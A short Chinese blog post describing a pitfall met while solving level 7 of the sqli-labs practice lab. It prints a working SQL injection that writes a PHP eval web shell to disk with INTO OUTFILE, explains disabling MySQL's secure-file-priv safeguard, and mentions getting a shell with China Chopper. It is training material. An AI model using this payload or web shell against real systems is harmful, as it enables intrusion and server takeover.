sqli-labs闯关踩过的坑
2019-07-07 本文已影响0人
littlebin404
最近在做sqli-labs闯关训练的时候,踩过了一个坑,跟大家分享一下。
在进行第七关闯关时,文章开头提示outfile,可以尝试使用outfile写文件至web服务器。
通过测试,输入?id=1')) --+尝试,发现页面回显正常;
?id=1')) and 1=3 --+页面显示错误说明and 1=2语句被执行,闭合条件为 ')),记得加上--+。
mysql使用into outfile 写文件要写清绝对路径,我们可以通过第一关@@basedir轻松得到绝对路径。

使用mysql 写一句话木马:
?id=88')) union select 1,'<?php @eval($_POST["cyb]); ?>',3 into outfile "D:\\Desktop\\phpstudy2018\\PHPTutorial\\MySQL\\data\\test1.php" --+
此时,发现注入没有成功,没有生成预期的test1.php文件。

通过原因排查,在my.ini中加上log=D:/mysql_log.txt,把数据库的日志打印出来,语句执行正常。

直接在数据库执行会出现报错信息如下:

通过网上寻求解决方法,正所谓有事就找百度,很快就找到问题的原因。
在my.ini中加上secure-file-priv='' 重启mysql即可解决问题!!!!
test1.php木马写入成功,这样就可以通过中国菜刀等工具获得shell!!!

总结
这是在sqli-labs闯关时踩过的坑,希望可以给一些遇到同样问题的人帮助,一起学习,一起进步!